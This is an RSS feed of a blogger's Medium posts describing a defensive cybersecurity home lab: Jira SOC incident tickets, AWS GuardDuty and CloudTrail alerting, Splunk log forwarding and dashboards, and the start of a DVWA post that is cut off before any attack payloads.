<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Houston Jones on Medium]]></title>
        <description><![CDATA[Stories by Houston Jones on Medium]]></description>
        <link>https://medium.com/@agentjones?source=rss-6e55be14aacb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*KmPf70E-f1qYh1Or-l_W0w.png</url>
            <title>Stories by Houston Jones on Medium</title>
            <link>https://medium.com/@agentjones?source=rss-6e55be14aacb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 15:48:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@agentjones/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Built a SOC Incident Management Workflow Using Jira Service Management]]></title>
            <link>https://agentjones.medium.com/how-i-built-a-soc-incident-management-workflow-using-jira-service-management-371b00f3f884?source=rss-6e55be14aacb------2</link>
            <guid isPermaLink="false">https://medium.com/p/371b00f3f884</guid>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[jira-service-desk]]></category>
            <category><![CDATA[it-service-management]]></category>
            <category><![CDATA[jira]]></category>
            <dc:creator><![CDATA[Houston Jones]]></dc:creator>
            <pubDate>Wed, 19 Aug 2026 18:33:29 GMT</pubDate>
            <atom:updated>2026-08-19T18:33:29.182Z</atom:updated>
            <content:encoded><![CDATA[<p>Detection is only half the job. Here’s how I built the ticketing system that tracks incidents from alert to resolution.</p><p><strong>The Gap in Most Home Labs</strong></p><p>Most cybersecurity home labs focus on the technical side — running attacks, detecting them with a SIEM, writing incident reports. But there’s a critical piece missing from almost every lab portfolio: incident management workflow.</p><p>In a real SOC environment every alert that fires becomes a ticket. Every ticket has an owner, a priority, a status, and an SLA. Knowing how to manage that workflow is just as important as knowing how to investigate the alert itself.</p><p>I built that workflow using Jira Service Management.</p><p><strong>The Setup</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mbdyUBjEycXTNXS-5DLY6w.png" /></figure><p>I created a Jira Service Management space called Hueylab SOC Operations using the IT Service Management template. Channel access set to Restricted — only authorized users can submit incidents. This mirrors how enterprise SOC teams configure their ticketing systems.</p><p>The space came with built-in queues, incident tracking, SLA management, and reporting out of the box.</p><p><strong>The Incidents</strong></p><p>I created three tickets based on real security incidents from my home lab — each from a different detection source, each at a different stage of investigation.</p><p><strong>Ticket HSO-1 — Critical Domain Compromise</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*fjpGMqM_95VkxZJR8WcDVA.png" /></figure><p><strong>Summary:</strong> CRITICAL — Unauthorized Domain Compromise via CrackMapExec — IR-2026–001</p><p>This ticket documented the full domain compromise from my home lab. A Splunk real-time alert fired at 21:20:43 EDT detecting Event ID 4624 from a workstation named KALI. Investigation revealed both the ksayian and Administrator accounts had authenticated from the Kali attack machine — full domain compromise via password reuse.</p><p>The ticket captured all IOCs, investigation steps, and resolution notes:</p><ul><li>Root cause: Password reuse between domain user and Administrator account</li><li>Source isolated: 192.168.99.20</li><li>Passwords reset, account lockout policy enabled</li><li>Time to resolution: 45 minutes</li><li>Status: Resolved</li></ul><p><strong>Ticket HSO-2 — High EC2 C&amp;C Communication</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*bZvM7oBo_Jqdwjf3j1sMkg.png" /></figure><p><strong>Summary:</strong> HIGH — EC2 Instance C&amp;C Communication Detected — GuardDuty Finding</p><p>This ticket captured the AWS GuardDuty finding from my cloud security lab. An EC2 instance was making outbound SMTP connections on port 25 to a known malicious IP at 198.51.100.0. The connection was NOT blocked — malicious traffic was actively leaving the environment.</p><ul><li>Finding type: Backdoor:EC2/C&amp;CActivity.B</li><li>Status: In Progress — active investigation</li></ul><p><strong>Ticket HSO-3 — High AWS Root Account Usage</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*iM5vYLc5rMV8ClupmrEv5g.png" /></figure><p><strong>Summary:</strong> HIGH — AWS Root Account Usage Detected — CloudWatch Alarm Fired</p><p>This ticket captured the CloudWatch alarm that fired when root account activity was detected in my AWS account. The alarm transitioned from OK to ALARM state and sent an SNS email notification within 5 minutes.</p><ul><li>Detection: RootAccountEventCount &gt;= 1</li><li>Status: Open — awaiting assignment</li></ul><p><strong>The Queue View</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nPp4oLNCjSMsDTjGYiHeAQ.png" /></figure><p>This is what a SOC analyst sees when they start their shift — a queue of incidents at different priority levels and stages of investigation. One resolved, one in progress, one open. Each one documented and tracked.</p><p>This is incident management in practice.</p><p><strong>Resolution Documentation</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fSpXToDyBZGNkhDsctBQUg.png" /></figure><p>The most important part of any incident ticket is the resolution documentation. For HSO-1 I added full resolution notes covering:</p><ul><li>Root cause identification</li><li>Containment actions taken</li><li>Evidence references — Splunk SPL queries, Windows Security Event logs, IR-2026–001</li><li>Time to resolution: 45 minutes</li></ul><p>This creates an audit trail that can be reviewed during post-incident analysis, compliance audits, or future investigations.</p><p><strong>The Reporting View</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xvbjsr-H5_dTDlEq7_Jpzg.png" /></figure><p>Jira Service Management tracks incident volume by priority over time. As the lab grows and more incidents are documented this view becomes a dashboard showing security trends — are incidents increasing? Which priority level is most common? Are SLAs being met?</p><p><strong>Why This Matters</strong></p><p>Technical skills get you in the door. Workflow skills keep you there.</p><p>Knowing how to run a Splunk search is valuable. Knowing how to take the output of that search, create a properly documented ticket, track it through resolution, and report on it to management is what separates a junior analyst from someone ready to operate independently in a SOC.</p><p>Jira Service Management is one of the most widely used ticketing platforms in enterprise security operations. Having hands-on experience with it — not just reading about it — is a differentiator.</p><p>Full documentation: <a href="https://github.com/Hjones360/soc-incident-management-jira/blob/main/Jira_SOC_Incident_Management.pdf">https://github.com/Hjones360/soc-incident-management-jira/blob/main/Jira_SOC_Incident_Management.pdf</a></p><p><em>Follow along at medium.com/@agentjones</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=371b00f3f884" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Investigated 2/410 AWS Security Alerts in One Session — Here’s What I Found]]></title>
            <link>https://agentjones.medium.com/i-investigated-2-410-aws-security-alerts-in-one-session-heres-what-i-found-5ff20af05ccc?source=rss-6e55be14aacb------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ff20af05ccc</guid>
            <category><![CDATA[aws-iam]]></category>
            <category><![CDATA[aws-s3]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[aws-ec2]]></category>
            <category><![CDATA[aws-guardduty]]></category>
            <dc:creator><![CDATA[Houston Jones]]></dc:creator>
            <pubDate>Mon, 17 Aug 2026 16:57:19 GMT</pubDate>
            <atom:updated>2026-08-17T16:57:19.808Z</atom:updated>
            <content:encoded><![CDATA[<p><em>AWS GuardDuty, threat detection, and SOC response in a cloud environment.</em></p><p><strong>What is AWS GuardDuty</strong></p><p>AWS GuardDuty is Amazon’s native threat detection service. It continuously monitors your AWS account for malicious activity by analyzing three data sources automatically — CloudTrail logs, VPC Flow Logs, and DNS logs. No agents to install. No infrastructure to manage. Just turn it on and it starts watching.</p><p>It uses machine learning, anomaly detection, and threat intelligence from AWS, CrowdStrike, and Proofpoint to surface threats that would be nearly impossible to catch manually.</p><p>I enabled it on my AWS account and generated 410 sample findings to investigate. Here are the two most critical ones.</p><p><strong>Finding 1 — EC2 Command &amp; Control Communication</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0eTxAW7f3zA2GwiMUZpC7A.png" /></figure><p><strong>Finding type:</strong> Backdoor:EC2/C&amp;CActivity.B<br> <strong>Severity:</strong> HIGH</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QysNBp2gWSDScjAco0NxAQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BBe8LU2kOdIyxsh0pvtBMw.png" /></figure><p>An EC2 instance was making outbound TCP connections on port 25 (SMTP) to a known Command and Control server at IP 198.51.100.0.</p><p>Here’s why this is critical:</p><p>AWS blocks port 25 by default for most accounts. Any outbound SMTP traffic from an EC2 instance is immediately suspicious. When that traffic is going to an IP on AWS threat intelligence feeds as a known C2 server — that’s a confirmed compromise.</p><p>The finding showed the connection was NOT blocked. Malicious traffic was actively leaving the environment.</p><p><strong>What this tells me:</strong> The instance has malware installed that is communicating with an attacker’s server — receiving instructions, exfiltrating data, or acting as a spam relay.</p><p><strong>Immediate response:</strong></p><ul><li>Isolate the instance by modifying its security group to block all outbound traffic</li><li>Take an EBS snapshot for forensic preservation</li><li>Block 198.51.100.0 in the VPC Network ACL</li><li>Query CloudTrail for all API calls from this instance in the past 30 days</li><li>Terminate and replace with a clean instance after investigation</li></ul><p><strong>Finding 2 — Compromised IAM Credentials</strong></p><p><strong>Finding type:</strong> CredentialAccess:IAMUser/CompromisedCredentials<br> <strong>Severity:</strong> HIGH</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NMT7Fqjh9uARhWjin9W0xw.png" /></figure><p>A stolen IAM access key was used from IP 198.51.100.0 to call the GetCallerIdentity API. The call returned AccessDenied.</p><p>Here’s what GetCallerIdentity tells you as a defender: this was reconnaissance. It’s the first API call attackers make after stealing credentials, it reveals the AWS account ID and user identity. The attacker was asking AWS “whose account am I in?”</p><p>The AccessDenied error means they were blocked from this specific action. But that doesn’t mean nothing else happened. The key was already stolen. Other API calls may have succeeded before this one.</p><p><strong>How IAM keys get stolen:</strong></p><ul><li>Exposed in public GitHub repositories</li><li>Phishing attacks targeting developers</li><li>Compromised developer workstations</li><li>Hardcoded in application source code</li></ul><p><strong>Immediate response:</strong></p><ul><li>Disable the compromised access key immediately</li><li>Query CloudTrail for ALL API calls made with this key — not just this one</li><li>Check for new IAM users, roles, or S3 bucket policy changes</li><li>Identify how the key was leaked</li><li>Implement MFA for all IAM users going forward</li></ul><p><strong>The Severity Matrix</strong></p><p>GuardDuty assigns findings a severity score from 1 to 9:</p><ul><li><strong>High (7.0–8.9)</strong> — respond within 15 minutes. Isolate, investigate, escalate.</li><li><strong>Medium (4.0–6.9)</strong> — respond within 1 hour. Investigate and determine if escalation is needed.</li><li><strong>Low (1.0–3.9)</strong> — respond within 24 hours. Often reconnaissance or failed attack attempts.</li></ul><p>Both findings investigated today were High severity — immediate response required.</p><p><strong>How GuardDuty Fits Into the Bigger Picture</strong></p><p>GuardDuty doesn’t replace the security pipeline I built in my previous AWS lab but rather extends it:</p><ul><li><strong>CloudTrail</strong> captures the raw API calls that GuardDuty analyzes</li><li><strong>S3</strong> stores the logs for long-term forensic investigation</li><li><strong>CloudWatch</strong> handles metric-based alerting</li><li><strong>GuardDuty</strong> adds intelligent threat detection using ML and threat intelligence</li><li><strong>SNS</strong> delivers alerts to the security team</li></ul><p>Each service plays a different role. Together they create defense in depth across the cloud environment.</p><p><strong>Key Takeaways</strong></p><p>GuardDuty is one of the highest value-to-effort security services in AWS. Zero infrastructure. Zero agents. Turn it on and it immediately starts analyzing your environment with years of threat intelligence behind it.</p><p>The two findings I investigated today — C2 communication and compromised credentials — are among the most common real-world AWS security incidents. Knowing how to triage them, what questions to ask, and what actions to take is exactly the work a cloud SOC analyst does every day.</p><p>Full documentation: <a href="https://github.com/Hjones360/aws-cloud-security-monitoring/blob/main/AWS_GuardDuty_Lab.pdf">https://github.com/Hjones360/aws-cloud-security-monitoring/blob/main/AWS_GuardDuty_Lab.pdf</a></p><p><em>This is part of my ongoing AWS cloud security series. Follow along at medium.com/@agentjones</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ff20af05ccc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Built an AWS Security Monitoring Pipeline That Caught My Own Root Account Activity]]></title>
            <link>https://agentjones.medium.com/i-built-an-aws-security-monitoring-pipeline-that-caught-my-own-root-account-activity-98ec39f8c5eb?source=rss-6e55be14aacb------2</link>
            <guid isPermaLink="false">https://medium.com/p/98ec39f8c5eb</guid>
            <category><![CDATA[aws-cloudtrail]]></category>
            <category><![CDATA[log-analysis]]></category>
            <category><![CDATA[aws-iam-role]]></category>
            <category><![CDATA[aws-security]]></category>
            <category><![CDATA[aws-s3]]></category>
            <dc:creator><![CDATA[Houston Jones]]></dc:creator>
            <pubDate>Thu, 30 Jul 2026 19:50:36 GMT</pubDate>
            <atom:updated>2026-07-30T19:50:36.744Z</atom:updated>
            <content:encoded><![CDATA[<p>CloudTrail. CloudWatch. S3. SNS. Here’s how I wired them together and what happened when the alarm fired.</p><p><strong>The Goal</strong></p><p>Every action taken in an AWS account leaves a trace. The question is whether anyone is watching.</p><p>I built a complete cloud security monitoring pipeline using native AWS services — no third party tools, no extra cost beyond the free tier. The pipeline captures every API call, stores the logs in S3, streams them to CloudWatch in real time, and sends an email alert the moment a critical security event is detected.</p><p><strong>The Architecture</strong></p><pre>CloudTrail → S3 → CloudWatch Logs → Metric Filter → CloudWatch Alarm → SNS Email</pre><p>Six services. One pipeline. Full visibility into AWS account activity.</p><p><strong>Step 1 — CloudTrail: Capture Everything</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VfclFpyIRATLlqtMUgONFQ.png" /></figure><p>The foundation of AWS security monitoring is CloudTrail. Every API call, every login, every resource created, every permission changed, gets logged automatically once a trail is active.</p><p>I created a multi-region trail named hueylab-cloudtrail. Multi-region means it captures events across every AWS region, not just the one you’re currently working in. This is important because attackers don’t limit themselves to a single region.</p><p><strong>Step 2 — S3: Store the Logs</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OPqPBfusk-slJqXw2ink9Q.png" /></figure><p>CloudTrail automatically delivered compressed JSON log files to an S3 bucket every few minutes. Within hours of enabling the trail the bucket contained 52 log files organized in a structured folder hierarchy:</p><pre>AWSLogs/AccountID/CloudTrail/Region/Year/Month/Day/</pre><p>This folder structure makes log retrieval straightforward during an incident investigation — you can pinpoint exactly which logs to pull based on the timeframe of the event.</p><p><strong>Step 3 — Provisioning Audit Log</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*38qzA5QKbi5k1THyOZHhXw.png" /></figure><p>To test the audit logging I created a test IAM user named testuser-hueylab. CloudTrail captured the full event immediately:</p><ul><li><strong>Event name:</strong> CreateUser</li><li><strong>Who:</strong> root account</li><li><strong>When:</strong> July 30, 2026 12:03:25 UTC</li><li><strong>Where from:</strong> Source IP 99.44.50.154</li><li><strong>What was created:</strong> arn:aws:iam::897722702309:user/testuser-hueylab</li></ul><p>This is provisioning audit logging in practice. Every user account creation, deletion, and permission change is captured with a complete audit trail — who did it, when, and from where.</p><p><strong>Step 4 — CloudWatch Logs: Real-Time Streaming</strong></p><p>Connected CloudTrail to CloudWatch Logs so events stream in real time instead of waiting for S3 batch delivery. Three log streams became active immediately, receiving events as they happened.</p><p><strong>Step 5 — Metric Filter: Detect Root Account Usage</strong></p><p>The most critical detection rule in any AWS environment is root account usage. The root account has unrestricted access to everything — it should never be used for day-to-day operations. Any root account activity is a red flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QCbzeF_BNdE5mEWo6J0KDA.png" /></figure><p>I created a metric filter with this pattern:</p><pre>{ $.userIdentity.type = &quot;Root&quot; &amp;&amp; $.userIdentity.invokedBy NOT EXISTS &amp;&amp; $.eventType != &quot;AwsServiceEvent&quot; }</pre><p>This fires whenever a human uses the root account to make an API call — excluding automated AWS service events which can legitimately use root context.</p><p>Every match increments the RootAccountEventCount metric by 1.</p><p><strong>Step 6 — CloudWatch Alarm</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TCwta74VDK-KBOgkiafbpg.png" /></figure><p>Built a CloudWatch alarm on top of the metric filter:</p><ul><li><strong>Alarm name:</strong> RootAccountUsage-Alert</li><li><strong>Condition:</strong> RootAccountEventCount &gt;= 1 in any 5 minute window</li><li><strong>Action:</strong> Send SNS email notification</li></ul><p><strong>Step 7 — The Alarm Fired</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0eMQOKeoMnBWtyYtJTOs-w.png" /></figure><p>Within 5 minutes of performing actions as the root account user the alarm transitioned from OK to ALARM state and an email arrived:</p><p><strong>ALARM: “RootAccountUsage-Alert” in US East (N. Virginia)</strong></p><ul><li>State Change: OK -&gt; ALARM</li><li>Timestamp: July 30, 2026 18:16:39 UTC</li><li>Reason: Threshold Crossed — 1 datapoint &gt;= 1.0</li></ul><p>The complete pipeline worked end to end — root account activity detected, metric incremented, alarm fired, email delivered.</p><p><strong>Why This Matters</strong></p><p>This monitoring pipeline maps directly to widely recognized security frameworks:</p><ul><li><strong>SOC 2</strong> — CC6.1 logical access controls and privileged account monitoring</li><li><strong>PCI DSS</strong> — Requirement 10 track and monitor all access to sensitive data</li><li><strong>CIS AWS Benchmark</strong> — CIS 3.3 root account usage metric filter and alarm</li></ul><p>Building this in a personal AWS account gave me hands-on experience with the exact tools and workflows used in enterprise cloud security operations.</p><p><strong>What’s Next</strong></p><p>Expanding the detection rules to cover additional high-risk events:</p><ul><li>Unauthorized API calls</li><li>S3 bucket policy changes</li><li>Security group modifications</li><li>IAM policy changes</li></ul><p>Full project documentation: <a href="https://github.com/Hjones360/AWS-cloud-security-monitoring/blob/main/AWS_Cloud_Security_Monitoring.pdf">https://github.com/Hjones360/AWS-cloud-security-monitoring/blob/main/AWS_Cloud_Security_Monitoring.pdf</a></p><p><em>Follow along at medium.com/@agentjones</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=98ec39f8c5eb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Forwarded My Attack Machine’s Logs to Splunk — Here’s What It Revealed]]></title>
            <link>https://agentjones.medium.com/i-forwarded-my-attack-machines-logs-to-splunk-here-s-what-it-revealed-bbfabb794ad1?source=rss-6e55be14aacb------2</link>
            <guid isPermaLink="false">https://medium.com/p/bbfabb794ad1</guid>
            <category><![CDATA[syslog]]></category>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[splunk-enterprise]]></category>
            <dc:creator><![CDATA[Houston Jones]]></dc:creator>
            <pubDate>Tue, 21 Jul 2026 14:37:18 GMT</pubDate>
            <atom:updated>2026-07-21T14:37:18.042Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Full visibility means seeing both sides. Here’s how I configured Kali Linux to forward syslog to Splunk in real time.</em></p><p><strong>The Problem</strong></p><p>My Splunk SIEM was only seeing one side of the story.</p><p>Windows Server was sending Security Event logs — every successful logon, every failed attempt, every time CrackMapExec hit the domain controller. But Kali Linux, the attack machine generating all that traffic, was invisible. No logs. No visibility. Just the impact, not the source.</p><p>A real enterprise SOC needs visibility across every machine in the environment — not just the targets, but the endpoints, the servers, and yes, if possible, anything generating suspicious traffic. So I fixed it.</p><p><strong>The Setup</strong></p><ul><li><strong>Attack Machine:</strong> Kali Linux (Huey’s Enterprise) — 192.168.99.20</li><li><strong>SIEM:</strong> Splunk Enterprise on Windows Server 2025–192.168.99.10</li><li><strong>Protocol:</strong> Syslog over UDP port 514</li><li><strong>Tool:</strong> rsyslog — the standard Linux system logging service</li></ul><p><strong>Step 1 — Configure Splunk to Receive Syslog</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DiNKXu5TbzPBJXEbmncjeg.png" /></figure><p>On Windows Server in Splunk I configured a UDP data input on port 514 — the standard syslog port. This tells Splunk to listen for incoming log messages from any device that sends to it.</p><p>Settings → Data Inputs → UDP → New Local UDP → Port 514 → Source Type: syslog</p><p>Then opened the Windows Firewall to allow the traffic:</p><pre>netsh advfirewall firewall add rule name=&quot;Splunk Syslog UDP 514&quot; protocol=UDP dir=in localport=514 action=allow</pre><p><strong>Step 2 — Configure Kali to Forward Logs</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_PkxS_jUKTlc9Ik06Lby2Q.png" /></figure><p>On Kali I installed rsyslog and added one line to the configuration file:</p><pre>sudo apt install -y rsyslog<br>sudo nano /etc/rsyslog.conf</pre><p>Added at the bottom of the file:</p><pre>*.* @192.168.99.10:514</pre><p>This single line tells rsyslog to forward every log from every facility and severity level to Splunk at 192.168.99.10 on UDP port 514.</p><p>Then restarted the service:</p><p>bash</p><pre>sudo systemctl restart rsyslog</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UXZDE7zN6D14bFhjd3aG6Q.png" /></figure><p><strong>Step 3 — Verify Logs Are Flowing</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2n3KjCDgYXWQUoZFYgfjmg.png" /></figure><p>On Windows Server in Splunk I ran:</p><pre>index=main source=&quot;udp:514&quot; | table _time, host, _raw | sort -_time | head 20</pre><p>The results showed everything Kali was doing in real time — CRON jobs, PAM authentication events, kernel messages, xfce screensaver activity, and most importantly the custom security messages I generated with the logger command:</p><ul><li>kali: Test syslog message from Kali to Splunk</li><li>kali: Failed authentication attempt detected on Kali</li><li>kali: CrackMapExec scan initiated from Kali</li><li>kali: Kernel error test message from Kali attack machine</li></ul><p><strong>Step 4 — Added to the SOC Dashboard</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hfB9N6XbmaBRDsNy3DAHhA.png" /></figure><p>The final step was adding a fifth panel to the SOC Operations Dashboard showing live Kali syslog events alongside the existing Windows Security Event panels. Now the dashboard shows both sides simultaneously — what the attacker machine is doing and what the defender’s logs are recording.</p><p><strong>Why This Matters</strong></p><p>In a real enterprise environment Security Engineers configure log forwarding from every endpoint, server, and network device into the SIEM. This is called centralized logging — and it’s a compliance requirement at most financial institutions including banks.</p><p>Having Kali’s syslog in Splunk means:</p><ul><li>Attack activity is visible from the source not just the target</li><li>Cross-correlation between attacker actions and defender detections is possible</li><li>The full attack timeline can be reconstructed from a single platform</li><li>Compliance requirements for log retention can be met across all systems</li></ul><p>One forwarding line. Total visibility.</p><p><strong>What’s Next</strong></p><p>The next project on the list: provisioning and audit logs — capturing every user account creation, privilege change, and group membership modification in Active Directory and surfacing them in Splunk.</p><p>Full lab documentation: <a href="https://github.com/Hjones360/Home-lab-IR-documentation">https://github.com/Hjones360/Home-lab-IR-documentation</a></p><p><em>This is part of my ongoing home lab series. Follow along at medium.com/@agentjon</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bbfabb794ad1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What a SOC Analyst Sees — Building a Splunk Dashboard from Real Attack Data]]></title>
            <link>https://agentjones.medium.com/what-a-soc-analyst-sees-building-a-splunk-dashboard-from-real-attack-data-b2a8d353876c?source=rss-6e55be14aacb------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2a8d353876c</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[dashboard]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Houston Jones]]></dc:creator>
            <pubDate>Sat, 18 Jul 2026 20:03:46 GMT</pubDate>
            <atom:updated>2026-07-18T20:03:46.753Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This is what security monitoring looks like when the data is real.</em></p><p><strong>The Context</strong></p><p>Over the past several months I have been building a cybersecurity home lab from scratch — Active Directory, Kali Linux, CrackMapExec attacks, incident response, and Splunk SIEM. Every attack I ran left forensic evidence in Windows Security logs. Every log got ingested into Splunk.</p><p>This phase was about taking all that data and turning it into something a SOC analyst would actually use every day — a dashboard.</p><p><strong>What I Built</strong></p><p>A four-panel SOC Operations Dashboard in Splunk Enterprise pulling from real Windows Security Event logs generated during previous attack sessions against my hueylab.local domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6vYJ29RJ_a0PVvEpVPaLCA.png" /></figure><p><strong>Panel 1 — Authentication Events Over Time</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3fQ3AYbGO61auS7KS0nM4A.png" /></figure><pre>index=main source=&quot;WinEventLog:Security&quot; EventCode=4624 | timechart count by Account_Name</pre><p>This line chart shows every successful logon event over time broken down by account. The spikes tell the story immediately — June 3 and June 7 show dramatic authentication bursts that stand out against the baseline. Those spikes are my CrackMapExec attacks. A SOC analyst seeing this pattern would escalate immediately — normal users don’t generate hundreds of logons in seconds.</p><p><strong>Panel 2 — Top Accounts by Logon Count</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ONEn7-woB91yMTilv69QlQ.png" /></figure><pre>index=main source=&quot;WinEventLog:Security&quot; EventCode=4624 | stats count by Account_Name | sort -count | head 10</pre><p>This bar chart ranks every account by total logon volume. WIN-430KUCVRBB4$ and SYSTEM sitting at the top is normal — those are background Windows processes. But ksayian appearing as the third highest with nearly 1,750 logons is a red flag. That’s a standard domain user account with no business reason to authenticate that many times.</p><p><strong>Panel 3 — Failed Logon Attempts</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wyUVKGOhsFgbUX8KwJceuA.png" /></figure><p>index=main source=&quot;WinEventLog:Security&quot; EventCode=4625 | stats count</p><p>Only 7 failed logon attempts across the entire history of the lab. This is actually more alarming than a high number — it means the attacker succeeded almost every time they tried. A low failure count combined with high successful logon volume from an unusual source is a classic indicator of credential attack success, not just an attempt.</p><p><strong>Panel 4 — Logons from Kali Attack Machine</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WlXKld36dhjnw10BfEif6Q.png" /></figure><p>index=main source=&quot;WinEventLog:Security&quot; EventCode=4624 Workstation_Name=kali | table _time, Account_Name, Workstation_Name, Logon_Type | sort -_time | head 20</p><p>This table is the forensic evidence panel. Every row is an attack session. You can see the exact timestamps, which accounts were used, that every single logon came from KALI, and that every logon was Type 3 — a remote network connection. The Administrator account appearing three times on June 7 at 19:43, 19:49, and 19:52 is the domain compromise we documented in incident report IR-2026–001.</p><p><strong>What This Dashboard Tells a SOC Analyst</strong></p><p>Four panels. Four different lenses on the same data. Together they answer the questions that matter in an investigation:</p><ul><li><strong>When did it happen?</strong> — Panel 1</li><li><strong>Who was targeted?</strong> — Panel 2</li><li><strong>How successful was the attack?</strong> — Panel 3</li><li><strong>What exactly happened and when?</strong> — Panel 4</li></ul><p>This is what security monitoring looks like when it’s built on real data. Not a tutorial. Not a simulation. Actual attack traffic from an actual compromise, visualized in a tool that enterprise SOC teams use every day.</p><p><strong>The SPL Queries</strong></p><p>All four panels use straightforward SPL — Splunk’s search language. If you want to build this yourself the queries are documented in my GitHub repo along with the full lab documentation across all five phases.</p><p>Full documentation: <a href="https://github.com/Hjones360/Home-lab-IR-documentation">https://github.com/Hjones360/Home-lab-IR-documentation</a></p><p><em>This is Phase 5 of my ongoing home lab series. Follow along at medium.com/@agentjones</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2a8d353876c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Attacked a Vulnerable Web App and Then Fixed It — A Security Engineer’s Approach to OWASP Top 10]]></title>
            <link>https://agentjones.medium.com/i-attacked-a-vulnerable-web-app-and-then-fixed-it-a-security-engineers-approach-to-owasp-top-10-62b8cb1d18a7?source=rss-6e55be14aacb------2</link>
            <guid isPermaLink="false">https://medium.com/p/62b8cb1d18a7</guid>
            <category><![CDATA[security-engineering]]></category>
            <category><![CDATA[dvwa]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[kali-linux]]></category>
            <dc:creator><![CDATA[Houston Jones]]></dc:creator>
            <pubDate>Fri, 10 Jul 2026 03:06:06 GMT</pubDate>
            <atom:updated>2026-07-10T03:06:06.573Z</atom:updated>
            <content:encoded><![CDATA[<p><em>SQL Injection and Cross-Site Scripting: attack, analyze, and remediate.</em></p><p><strong>The Setup</strong></p><p>As part of my ongoing cybersecurity home lab series I deployed DVWA — Damn Vulnerable Web Application — on Kali Linux to practice web application security from both the attacker and defender perspective. This is the same methodology a Security Engineer uses when assessing applications: find the vulnerability, understand why it exists, then implement the fix.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ofu_G4MjynfQfXc0b_4hA.png" /></figure><p>The two vulnerabilities covered in this assessment are SQL Injection and Cross-Site Scripting (XSS) — both consistently ranked in the OWASP Top 10 most critical web application security risks.</p><p><strong>Phase 1 — Threat Modeling</strong></p><p>Before touching a single tool I identified the threat landscape:</p><ul><li><strong>Asset:</strong> A web application with a login page and MySQL database backend</li><li><strong>Attackers:</strong> External unauthenticated users, authenticated low-privilege users</li><li><strong>Threats:</strong> Database exposure via SQL injection, session hijacking via XSS, unauthorized data access</li><li><strong>Impact:</strong> Full database compromise, account takeover, credential theft</li></ul><p>This threat modeling framework — asset, attacker, threat, impact — is the foundation of every security engineering 